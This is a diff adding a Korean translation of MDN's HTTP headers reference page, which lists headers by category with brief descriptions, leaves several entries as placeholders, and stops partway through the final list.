+++ b/files/ko/web/http/headers/index.html
@@ -0,0 +1,444 @@
+---
+title: HTTP 헤더
+slug: Web/HTTP/Headers
+tags:
+  - HTTP
+  - HTTP 헤더
+  - 개요
+  - 네트워킹
+  - 레퍼런스
+translation_of: Web/HTTP/Headers
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP 헤더는 클라이언트와 서버가 요청 또는 응답으로 부가적인 정보를 전송할 수 있도록 해줍니다. HTTP 헤더는 대소문자를 구분하지 않는 이름과 콜론 '<code>:</code>' 다음에 오는 값(줄 바꿈 없이)으로 이루어져있습니다. 값 앞에 붙은 빈 문자열은 무시됩니다.</p>
+
+<p>커스텀 등록 헤더는 'X-'를 앞에 붙여 추가될 수 있지만, 이 관례는 <a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a>에서 비표준 필드가 표준이 되었을때 불편함을 유발하는 이유로 2012년 6월에 폐기되었습니다. 다른것들은 <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA 레지스트리</a>에 나열되어 있으며, 원본 컨텐츠는 <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>에서 정의되었습니다. IANA는 또한 <a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html">제안된 새로운 메시지 헤더의 레지스트리</a>도 관리합니다.</p>
+
+<p>헤더는 컨텍스트에 따라 그룹핑될 수 있습니다:</p>
+
+<ul>
+ <li>{{Glossary("General header")}}: 요청과 응답 모두에 적용되지만 바디에서 최종적으로 전송되는 데이터와는 관련이 없는 헤더.</li>
+ <li>{{Glossary("Request header")}}: 페치될 리소스나 클라이언트 자체에 대한 자세한 정보를 포함하는 헤더.</li>
+ <li>{{Glossary("Response header")}}: 위치 또는 서버 자체에 대한 정보(이름, 버전 등)와 같이 응답에 대한 부가적인 정보를 갖는 헤더.</li>
+ <li>{{Glossary("Entity header")}}: 컨텐츠 길이나 MIME 타입과 같이 엔티티 바디에 대한 자세한 정보를 포함하는 헤더.</li>
+</ul>
+
+<p>헤더는 또한 프록시의 처리 방법에 따라 그룹핑할 수도 있습니다:</p>
+
+<dl>
+ <dt><a id="e2e" name="e2e"></a>종단간 헤더</dt>
+ <dd>이러한 헤더는 반드시 메시지의 최종 수신자에게 전송되어야 합니다. 즉, 요청에 대해서는 서버, 응답에 대해서는 클라이언트입니다. 중간 프록시는 반드시 종단 간 헤더를 수정되지 않은 상태로 재전송해야하며 캐시는 이를 반드시 저장해야합니다.</dd>
+ <dt><a id="hbh" name="hbh"></a>홉간 헤더</dt>
+ <dd>이러한 헤더는 단일 전송-레벨 연결에서만 의미가 있으며 프록시에의해 재전송되거나 캐시되어선 안됩니다. 이러한 헤더들은 다음과 같습니다: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }}, {{ httpheader("Upgrade") }}. 홉간 헤더는 {{ httpheader("Connection") }} 일반 헤더를 사용해 설정될 수도 있음을 유의하세요.</dd>
+</dl>
+
+<p>다음은 사용 카테고리에 따라 HTTP 헤더를 요약한 리스트입니다. 알파벳순의 리스트는 왼쪽의 네비게이션을 보세요.</p>
+
+<h2 id="인증">인증</h2>
+
+<dl>
+ <dt>{{HTTPHeader("WWW-Authenticate")}}</dt>
+ <dd>리소스에 대한 접근을 하는데 사용되어야하는 인증 메소드를 정의합니다.</dd>
+ <dt>{{HTTPHeader("Authorization")}}</dt>
+ <dd>서버와함께 유저 에이전트를 인증하기 위한 자격 증명을 포함합니다.</dd>
+ <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt>
+ <dd>프록시 서버 뒤에 있는 리소스에 접근하는데 사용되어야하는 인증 메소드를 정의합니다.</dd>
+ <dt>{{HTTPHeader("Proxy-Authorization")}}</dt>
+ <dd>프록시 서버와 함께 유저 에이전트를 인증하기 위한 자격 증명을 포함합니다.</dd>
+</dl>
+
+<h2 id="캐싱">캐싱</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Age")}}</dt>
+ <dd>객체가 프록시 캐시에 있었던 초 단위의 시간.</dd>
+ <dt>{{HTTPHeader("Cache-Control")}}</dt>
+ <dd>요청과 응답 모두에서의 캐싱 메커니즘을 명시하는 지시문.</dd>
+ <dt>{{HTTPHeader("Clear-Site-Data")}}</dt>
+ <dd>요청하는 웹사이트에 관련된 탐색 데이터(예, 쿠키, 저장소, 캐시)를 제거합니다.</dd>
+ <dt>{{HTTPHeader("Expires")}}</dt>
+ <dd>응답이 만료되었다고 고려되는 날짜/시간.</dd>
+ <dt>{{HTTPHeader("Pragma")}}</dt>
+ <dd>요청-응답 체인을 따라 어디든 다양한 영향을 줄 수 있는 구현-관련 헤더. <code>Cache-Control</code> 헤더가 존재하지 않는 HTTP/1.0 캐시와의 하위 호환성을 위해 사용됨.</dd>
+ <dt>{{HTTPHeader("Warning")}}</dt>
+ <dd>가능한 문제들에 대한 정보를 포함하는 일반 경고 필드.</dd>
+</dl>
+
+<h2 id="클라이언트_힌트">클라이언트 힌트</h2>
+
+<p>HTTP 클라이언트 힌트는 작업중에 있습니다. 실제 문서는 <a href="https://httpwg.org/http-extensions/client-hints.html">HTTP 작업 그룹의 웹사이트</a>에서 확인하실 수 있습니다.</p>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-CH")}} {{experimental_inline}}</dt>
+ <dd>서버는 Accept-CH 헤더 필드나 http-equiv 어트리뷰트(<a href="https://httpwg.org/http-extensions/client-hints.html#HTML5"><cite>[HTML5]</cite></a>)를 갖는 동등한 HTML meta 엘리먼트를 사용해 클라이언트 힌트에 대한 지원을 알릴 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-CH-Lifetime")}} {{experimental_inline}}</dt>
+ <dd>서버는 명시된 시간동안 서버가 지원하는 클라이언트 힌트의 집합을 클라이언트가 기억하도록 요청하여 서버의 오리진으로의 후속 요청에 대한 클라이언트 힌트를 전송할 수 있습니다(<a href="https://httpwg.org/http-extensions/client-hints.html#RFC6454"><cite>[RFC6454]</cite></a>).</dd>
+ <dt>{{HTTPHeader("Early-Data")}} {{experimental_inline}}</dt>
+ <dd>요청이 초기 데이터로 전달되었음을 나타냅니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Content-DPR")}} {{experimental_inline}}</dt>
+ <dd><code>Content-DPR</code> 응답 헤더 필드는 선택한 이미지 응답의 CSS px를 통한 물리적 픽셀간의 비율을 나타내는 숫자입니다.</dd>
+ <dt>{{HTTPHeader("DPR")}} {{experimental_inline}}</dt>
+ <dd><code>DPR</code> 요청 헤더 필드는 레이아웃 뷰포트(Section 9.1.1 of <a href="https://httpwg.org/http-extensions/client-hints.html#CSS2"><cite>[CSS2]</cite></a>)의 CSS px(Section 5.2 of <a href="https://httpwg.org/http-extensions/client-hints.html#CSSVAL"><cite>[CSSVAL]</cite></a>)를 통한 물리적 픽셀 비율인 클라이언트의 현재 기기 픽셀 비율(DPR)을 나타내는 숫자입니다.</dd>
+ <dt>{{HTTPHeader("Save-Data")}} {{experimental_inline}}</dt>
+ <dd><a class="internalDFN" href="https://wicg.github.io/netinfo/#dom-networkinformation-savedata"><code>SaveData</code></a> [<cite><a class="bibref" href="https://wicg.github.io/netinfo/#bib-client-hints">CLIENT-HINTS</a></cite>] 요청 헤더 필드는 절약한 데이터 사용에 대한 유저 에이전트의 설정을 나타내는 하나 이상의 토큰으로 이루어져있습니다.</dd>
+ <dt>{{HTTPHeader("Viewport-Width")}} {{experimental_inline}}</dt>
+ <dd>
+ <div id="rfc.section.3.3.p.1">
+ <p><code>Viewport-Width</code> 요청 헤더 필드는 CSS px 단위의 레이아웃 뷰포트 width를 나타내는 숫자입니다. 제공된 CSS px값은 정수로 반올림된 숫자입니다(예, 올림 값).</p>
+ </div>
+
+ <div id="rfc.section.3.3.p.2">
+ <p>하나 이상의 메시지에서 <code>Viewport-Width</code>가 나타난다면, 마지막 값이 모든 이전의 값을 덮어씁니다.</p>
+ </div>
+ </dd>
+ <dt>{{HTTPHeader("Width")}} {{experimental_inline}}</dt>
+ <dd>
+ <div id="rfc.section.3.2.p.1">
+ <p><code>Width</code> 요청 헤더 필드는 물리적 px(예, 이미지의 실제 크기) 단위의 원하는 리소스 width를 나타내는 숫자입니다. 제공된 물리적 px 값은 정수로 반올림된 숫자입니다(예, 올림 값).</p>
+ </div>
+
+ <div id="rfc.section.3.2.p.2">
+ <p>원하는 리소스 width를 요청 시점에 알 수 없거나 리소스가 표출 width를 갖지 않을 경우, <code>Width</code> 헤더 필드는 생략될 수 있습니다. 하나 이상의 메시지에서 <code>Width</code>가 나타난다면, 마지막 값이 모든 이전의 값을 덮어씁니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="조건부">조건부</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Last-Modified")}}</dt>
+ <dd>동일한 리소스의 여러 버전을 비교하는데 사용되는 검사기로, 리소스의 마지막 수정 날짜입니다. {{HTTPHeader("ETag")}}보다 덜 정확하지만, 어떤 환경에서는 계산이 더 쉽습니다. {{HTTPHeader("If-Modified-Since")}}와 {{HTTPHeader("If-Unmodified-Since")}}를 사용하는 조건부 요청은 이 값을 사용하여 요청의 동작을 변경합니다.</dd>
+ <dt>{{HTTPHeader("ETag")}}</dt>
+ <dd>리소스의 버전을 식별하는 고유한 문자열 검사기입니다. {{HTTPHeader("If-Match")}}와 {{HTTPHeader("If-None-Match")}}를 사용하는 조건부 요청은 이 값을 사용하여 요청의 동작을 변경합니다.</dd>
+ <dt>{{HTTPHeader("If-Match")}}</dt>
+ <dd>저장된 리소스가 주어진 ETags의 하나와 일치하는 경우에만 요청을 조건부로 만들고 메소드를 적용합니다.</dd>
+ <dt>{{HTTPHeader("If-None-Match")}}</dt>
+ <dd>저장된 리소스가 주어진 ETags 모두와 일치하지 않는 경우에만 요청을 조건부로 만들고 메소드를 적용합니다. 캐시(안전 연결용)를 업데이트하거나 이미 존재하는 리소스를 다시 업로드하는 것을 방지하기위해 사용됩니다.</dd>
+ <dt>{{HTTPHeader("If-Modified-Since")}}</dt>
+ <dd>주어진 날짜 이후에 수정된 경우에만 요청을 조건부로 만들고 엔티티가 전송될 것을 기대합니다. 캐시가 만료되었을 때에만 데이터를 전송하는데 사용됩니다.</dd>
+ <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt>
+ <dd>주어진 날짜 이후에 수정되지 않은 경우에만 요청을 조건부로 만들고 엔티티가 전송될 것을 기대합니다. 이는 특정 범위의 새로운 프래그먼트와 이전의 것과의 일관성을 보장하거나, 존재하는 다큐먼트를 수정할 때에 낙관적인 제어 시스템을 구현하는데 사용됩니다.</dd>
+ <dt>{{HTTPHeader("Vary")}}</dt>
+ <dd>오리진 서버로부터 새로운 요청을하는 대신 캐시된 응답을 사용할지를 결정하기위한 향후의 요청 헤더를 매칭할 방법을 정합니다.</dd>
+</dl>
+
+<h2 id="연결_관리">연결 관리</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Connection")}}</dt>
+ <dd>현재 트랜잭션이 끝난후에 네트워크 연결을 열린 상태로 둘지 여부를 제어합니다.</dd>
+ <dt>{{HTTPHeader("Keep-Alive")}}</dt>
+ <dd>지속적인 연결이 열린 상태로 유지할 기간을 제어합니다.</dd>
+</dl>
+
+<h2 id="컨텐츠_협상"><a href="/ko/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a></h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept")}}</dt>
+ <dd>돌려줄 데이터 타입에 대해 서버에 알립니다. MIME 타입입니다.</dd>
+ <dt>{{HTTPHeader("Accept-Charset")}}</dt>
+ <dd>클라이언트가 이해할 수 있는 문자 집합에 대해 서버에 알립니다.</dd>
+ <dt>{{HTTPHeader("Accept-Encoding")}}</dt>
+ <dd>인코딩 알고리즘에 대해 서버에 알립니다. 보통은 돌려줄 리소스에 사용되는 압축 알고리즘입니다.</dd>
+ <dt>{{HTTPHeader("Accept-Language")}}</dt>
+ <dd>서버가 돌려주기로 예상된 언어에 대해 서버에 알립니다. 이는 힌트이며 사용자의 모든 제어 아래에서는 필수가 아닙니다: 서버는 명시적인 사용자 선택을 덮어쓰지 않도록 항상 집중해야합니다(드롭 다운 리스트에서 언어를 선택하는 것처럼).</dd>
+</dl>
+
+<h2 id="제어">제어</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Expect")}}</dt>
+ <dd>요청을 적절히 처리하기위해 서버에서 수행되어야하는 기대치를 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Max-Forwards")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="쿠키">쿠키</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Cookie")}}</dt>
+ <dd>{{HTTPHeader("Set-Cookie")}} 헤더와 함께 서버로부터 이전에 전송됐던 저장된 <a href="/ko/docs/Web/HTTP/Cookies">HTTP 쿠키</a>를 포함합니다. </dd>
+ <dt>{{HTTPHeader("Set-Cookie")}}</dt>
+ <dd>서버에서 유저 에이전트로 쿠키를 전송합니다.</dd>
+ <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt>
+ <dd>{{HTTPHeader("Set-Cookie2")}}와 함께 서버에 의해 이전에 전송된 HTTP 쿠키를 포함하는데 사용되었지만, 명세에 의해 사용되지 않게 되었습니다. 대신 {{HTTPHeader("Cookie")}}를 사용하세요.</dd>
+ <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt>
+ <dd>서버에서 유저 에이전트로 쿠키를 전송하는데 사용되었지만, 명세에 의해 사용되지 않게 되었습니다. 대신 {{HTTPHeader("Set-Cookie")}}를 사용하세요.</dd>
+</dl>
+
+<h2 id="CORS">CORS</h2>
+
+<p><em><a href="CORS">여기</a>에서 CORS에 대해 더 알아보세요.</em></p>
+
+<dl>
+ <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt>
+ <dd>응답이 공유될 수 있는지를 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt>
+ <dd>credentials 플래그가 true일 때 요청에 대한 응답이 노출될 수 있는지를 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt>
+ <dd>실제 요청을 만들 때 사용될 수 있는 HTTP 헤더를 나타내는 preflight 요청에 대한 응답으로 사용됩니다.</dd>
+ <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt>
+ <dd>preflight 요청에 대한 응답으로 리소스에 접근할 때 허용되는 메소드를 명시합니다.</dd>
+ <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt>
+ <dd>헤더의 이름을 나열하여 어떤 헤더가 응답의 일부로 노출될 수 있는지를 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt>
+ <dd>preflight 요청의 결과가 캐시되는 기간을 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt>
+ <dd>실제 요청이 있을 때 사용될 HTTP 헤더를 서버에 알리기 위한 preflight 요청을 보낼 때 사용됩니다.</dd>
+ <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt>
+ <dd>실제 요청이 있을 때 사용될 <a href="/ko/docs/Web/HTTP/Methods">HTTP 메소드</a>를 서버에 알리기 위한 preflight 요청을 보낼 때 사용됩니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Origin")}}</dt>
+ <dd>페치가 시작된 위치를 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Timing-Allow-Origin")}}</dt>
+ <dd><a href="/ko/docs/Web/API/Resource_Timing_API">Resource Timing API</a>의 기능을 통해 반환되는 속성을 확인할 수 있게해주는 오리진을 명시합니다. 교차-오리진 제한으로인해 0으로 기록될 수도 있습니다.</dd>
+ <dt>{{HTTPHeader("X-Permitted-Cross-Domain-Policies")}}</dt>
+ <dd>교차-도메인 정책 파일(XML)이 허용되었는지를 명시합니다. 해당 파일은 Adobe Flash Player 또는 Adobe Acrobat(예, PDF)과 같은 웹 클라이언트가 도메인을 넘어 데이터를 다룰 수 있도록 허용하는 정책을 정의할수도 있습니다.</dd>
+</dl>
+
+<h2 id="추적_안함">추적 안함</h2>
+
+<dl>
+ <dt>{{HTTPHeader("DNT")}}</dt>
+ <dd>사용자의 추적 설정을 나타내는데 사용됩니다.</dd>
+ <dt>{{HTTPHeader("Tk")}}</dt>
+ <dd>해당하는 요청에 적용되는 추적 상태를 나타냅니다.</dd>
+</dl>
+
+<h2 id="다운로드">다운로드</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Disposition")}}</dt>
+ <dd>전송된 리소스가 한 줄로 표시되어야하거나(헤더가 존재하지 않을 때는 기본 동작), 다운로드처럼 처리되어야 하고 브라우저가 '다른 이름으로 저장' 창을 표시해야할 때에 대한 응답 헤더입니다.</dd>
+</dl>
+
+<h2 id="메시지_바디_정보">메시지 바디 정보</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Length")}}</dt>
+ <dd>수신자에게 전송된 엔티티 바디의 크기를 10진수 바이트 단위로 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Content-Type")}}</dt>
+ <dd>리소스의 미디어 타입을 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Content-Encoding")}}</dt>
+ <dd>압축 알고리즘을 명시하는데 사용됩니다.</dd>
+ <dt>{{HTTPHeader("Content-Language")}}</dt>
+ <dd>사용자를 위한 언어를 설명하여 사용자가 선호하는 언어에 따라 구분할 수 있게해줍니다.</dd>
+ <dt>{{HTTPHeader("Content-Location")}}</dt>
+ <dd>반환된 데이터를 위한 대체 위치를 나타냅니다.</dd>
+</dl>
+
+<h2 id="프록시">프록시</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Forwarded")}}</dt>
+ <dd>프록시가 요청의 경로에 포함될 때 변경되거나 손실되는 프록시 서버의 클라이언트 측면에 대한 정보를 포함합니다.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt>
+ <dd>HTTP 프록시나 로드 밸런서를 통해 웹 서버로 연결하는 클라이언트의 시작 IP 주소를 확인합니다.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt>
+ <dd>클라이언트가 여러분의 프록시나 로드 밸런서에 접속하기 위해 사용하도록 요청됐던 원본 호스트를 확인합니다.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt>
+ <dd>클라이언트가 여러분의 프록시나 로드 밸런서에 접속하기 위해 사용했던 프로토콜(HTTP 또는 HTTPS)을 확인합니다.</dd>
+ <dt>{{HTTPHeader("Via")}}</dt>
+ <dd>정방향 및 역방향 프록시에 모두에 의해 추가되며, 요청 헤더와 응답 헤더에서 나타날 수 있습니다.</dd>
+</dl>
+
+<h2 id="리다이렉트">리다이렉트</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Location")}}</dt>
+ <dd>페이지를 리다이렉트할 URL을 나타냅니다.</dd>
+</dl>
+
+<h2 id="요청_컨텍스트">요청 컨텍스트</h2>
+
+<dl>
+ <dt>{{HTTPHeader("From")}}</dt>
+ <dd>요청하는 유저 에이전트를 제어하는 사용자(사람)의 인터넷 이메일 주소를 포함합니다.</dd>
+ <dt>{{HTTPHeader("Host")}}</dt>
+ <dd>서버(가상 호스팅용)의 도메인명과 (선택적으로) 서버가 리스닝중인 TCP 포트 번호를 명시합니다.</dd>
+ <dt>{{HTTPHeader("Referer")}}</dt>
+ <dd>현재 페이지로 연결되는 링크가 있던 이전 웹 페이지의 주소입니다.</dd>
+ <dt>{{HTTPHeader("Referrer-Policy")}}</dt>
+ <dd>생성된 요청이 {{HTTPHeader("Referer")}} 헤더에서 전송된 referrer 정보에 포함되어야하는지를 관리합니다.</dd>
+ <dt>{{HTTPHeader("User-Agent")}}</dt>
+ <dd>네트워크 프로토콜 피어가 요청하는 사용자 에이전트의 애플리케이션 타입, 운영 체제, 소프트웨어 벤더 또는 소프트웨어 버전을 식별할 수 있는 특성 문자열을 포함합니다. <a href="/ko/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox 유저 에이전트 문자열 레퍼런스</a> 문서도 참고하세요.</dd>
+</dl>
+
+<h2 id="응답_컨텍스트">응답 컨텍스트</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Allow")}}</dt>
+ <dd>리소스에 의해 지원되는 HTTP 요청 메소드를 나열합니다.</dd>
+ <dt>{{HTTPHeader("Server")}}</dt>
+ <dd>요청을 처리하기 위해 오리진 서버에 의해 사용되는 소프트웨어에 대한 정보를 포함합니다.</dd>
+</dl>
+
+<h2 id="범위_요청">범위 요청</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-Ranges")}}</dt>
+ <dd>서버가 범위 요청을 지원하는지를 나타내며, 지원할 경우 범위가 표현될 수 있는 단위를 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Range")}}</dt>
+ <dd>서버가 반환해야하는 문서의 부분을 나타냅니다.</dd>
+ <dt>{{HTTPHeader("If-Range")}}</dt>
+ <dd>주어진 etag 또는 날짜가 원격 리소스와 일치할 경우에만 수행되는 조건적 범위 요청을 생성합니다. 호환되지 않는 범전의 리소스에서 두 가지 범위의 다운로드를 방지하기위해 사용됩니다.</dd>
+ <dt>{{HTTPHeader("Content-Range")}}</dt>
+ <dd>전체 바디 메시지 중 특정 메시지가 포함된 위치를 나타냅니다.</dd>
+</dl>
+
+<h2 id="보안">보안</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Cross-Origin-Resource-Policy")}}</dt>
+ <dd>이 헤더가 적용된 리소스의 응답을 다른 도메인이 읽는 것을 방지합니다.</dd>
+ <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt>
+ <dd>주어진 페이지에 대해 유저 에이전트가 로드할 수 있는 리소스를 제어합니다.</dd>
+ <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt>
+ <dd>웹 개발자가 정책을 강제로 적용하지 않고도 그 효과를 실험해볼 수 있게 해줍니다. 이러한 위반 보고서는 HTTP <code>POST</code> 요청을 통해 지정된 URL로 전송된 {{Glossary("JSON")}} 문서로 구성됩니다.</dd>
+ <dt>{{HTTPHeader("Expect-CT")}}</dt>
+ <dd>사이트가 잘못 발급된 인증서의 사용이 눈에 띄지 않게 넘어가는것을 방지해주는 인증서 투명성(Certificate Transparency) 요구 보고 및/또는 시행을 옵트인할 수 있게 해줍니다. 사이트가 Expect-CT 헤더를 사용할 때, 사이트는 공개 CT 로그에 나타난 사이트에 대한 모든 인증서를 Chrome이 확인하도록 요청합니다.</dd>
+ <dt>{{HTTPHeader("Feature-Policy")}}</dt>
+ <dd>소유한 프레임 및 내장된 iframe에서 브라우저 기능의 사용을 허용 및 거부하기위한 메커니즘을 제공합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})</dt>
+ <dd>위조된 인증서를 사용한 {{Glossary("MITM")}} 공격의 위험을 줄이기 위해 특정 웹 서버에 특정 암호화 공개 키를 연결합니다.</dd>
+ <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt>
+ <dd>헤더에 지정된 report-uri로 보고를 전송하고 피닝을 위반하더라도 클라이언트가 서버에 접속하는 것을 계속 허용합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt>
+ <dd>HTTP 대신 HTTPS를 사용하여 통신하도록 강제합니다.</dd>
+ <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt>
+ <dd>암호화된 응답과 인증된 응답에 대한 클라이언트의 설정을 나타내는 신호를 서버에 전송하며, {{CSP("upgrade-insecure-requests")}} 지시자를 성공적으로 처리할 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt>
+ <dd>MIME 스니핑을 비활성화하고 브라우저가 {{HTTPHeader("Content-Type")}}에 주어진 타입을 사용하도록 강제합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("X-Download-Options")}}</dt>
+ <dd>브라우저(인터넷 익스플로러)가 파일을 통한 피싱 공격을 방지하기 위해 애플리케이션으로부터 다운로드된 파일에 "열기" 옵션을 표시하면 안되는지 여부를 나타냅니다. 피싱 공격을 방지하지 못할 경우 파일을 애플리케이션의 컨텍스트에서 실행할 권한을 얻게됩니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt>
+ <dd>브라우저가 {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} 또는 {{HTMLElement("object")}}에서 페이지 렌더링을 허용해야하는지를 나타냅니다.</dd>
+ <dt>{{HTTPHeader("X-Powered-By")}}</dt>
+ <dd>호스팅 환경이나 다른 프레임워크에 의해 설정 될 수 있으며, 그들에 대한 정보를 포함하지만 애플리케이션이나 방문자에게 유용하지는 않습니다. 잠재적인 취약점 노출을 피하려면 이 헤더를 해제하세요.</dd>
+ <dt>{{HTTPHeader("X-XSS-Protection")}}</dt>
+ <dd>교차-사이트 스크립팅 필터링을 활성화합니다.</dd>
+ <dt> </dt>
+</dl>
+
+<h2 id="서버가_전송한_이벤트">서버가 전송한 이벤트</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Last-Event-ID")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("NEL")}} {{experimental_inline}}</dt>
+ <dd>개발자가 네트워크 에러 보고 정책을 선언할 수 있게하는 메커니즘을 정의합니다.</dd>
+ <dt>{{HTTPHeader("Ping-From")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Ping-To")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Report-To")}}</dt>
+ <dd>브라우저가 경고 및 에러 보고를 전송하기 위한 서버 엔드포인트를 지정하는데 사용됩니다.</dd>
+</dl>
+
+<h2 id="전송_코딩">전송 코딩</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Transfer-Encoding")}}</dt>
+ <dd>사용자에게 엔티티를 안전하게 전송하기위해 사용할 인코딩 형식을 지정합니다.</dd>
+ <dt>{{HTTPHeader("TE")}}</dt>
+ <dd>유저 에이전트가 수락하기로한 전송 인코딩을 지정합니다.</dd>
+ <dt>{{HTTPHeader("Trailer")}}</dt>
+ <dd>전송자가 청크 분할된 메시지의 끝에 부가적인 필드를 포함할 수 있게 해줍니다.</dd>
+</dl>
+
+<h2 id="웹소켓">웹소켓</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="그_외">그 외</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-Push-Policy")}} {{experimental_inline}}</dt>
+ <dd>클라이언트는 요청에 <code><a href="https://tools.ietf.org/html/draft-ruellan-http-accept-push-policy-00#section-3.1">Accept-Push-Policy</a></code> 헤더 필드를 전송하여 요청에 대해 희망하는 푸시 정책을 나타낼 수 있습니다.</dd>
+ <dt>{{HTTPHeader("Accept-Signature")}} {{experimental_inline}}</dt>
+ <dd>클라이언트는 <code><a href="https://wicg.github.io/webpackage/draft-yasskin-http-origin-signed-responses.html#rfc.section.3.7">Accept-Signature</a></code> 헤더 필드를 전송하여 지원하는 서명의 종류와 사용 가능한 모든 서명을 이용할 의도를 나타낼 수 있습니다.</dd>
+ <dt>{{HTTPHeader("Alt-Svc")}}</dt>
+ <dd>이 서비스에 도달할 수 있는 대안을 나열하는데 사용됩니다.</dd>
+ <dt>{{HTTPHeader("Date")}}</dt>
+ <dd>메시지가 발생한 날짜와 시간을 포함합니다.</dd>
+ <dt>{{HTTPHeader("Large-Allocation")}}</dt>
+ <dd>로드되고 있는 페이지가 대규모 할당 작업을 원할 것이라고 브라우저에게 알립니다.</dd>
+ <dt>{{HTTPHeader("Link")}}</dt>
+ <dd><code><a href="https://tools.ietf.org/html/rfc5988#section-5">Link</a></code> 엔티티 헤더 필드는 HTTP 헤더내의 하나 이상의 링크를 직렬화하기위한 수단을 제공합니다. HTML {{HTMLElement("link")}} 엘리먼트와 의미상으로 동일합니다.</dd>
+ <dt>{{HTTPHeader("Push-Policy")}} {{experimental_inline}}</dt>
+ <dd><code><a href="https://tools.ietf.org/html/draft-ruellan-http-accept-push-policy-00#section-3.2">Push-Policy</a></code>는 요청을 처리할 때 푸시에 관련된 서버의 동작을 정의합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Retry-After")}}</dt>
+ <dd>유저 에이전트가 다음 요청을 생성하기전에 얼마나 기다려야하는지를 나타냅니다.</dd>
+ <dt>{{HTTPHeader("Signature")}} {{experimental_inline}}</dt>
+ <dd><code><a href="https://wicg.github.io/webpackage/draft-yasskin-http-origin-signed-responses.html#rfc.section.3.1">Signature</a></code> 헤더 필드는 교환을 위한 서명의 리스트를 전달하며, 각 서명은 권한을 판별하고 새로고치는 방법에 대한 정보를 수반합니다.</dd>
+ <dt>{{HTTPHeader("Signed-Headers")}} {{experimental_inline}}</dt>
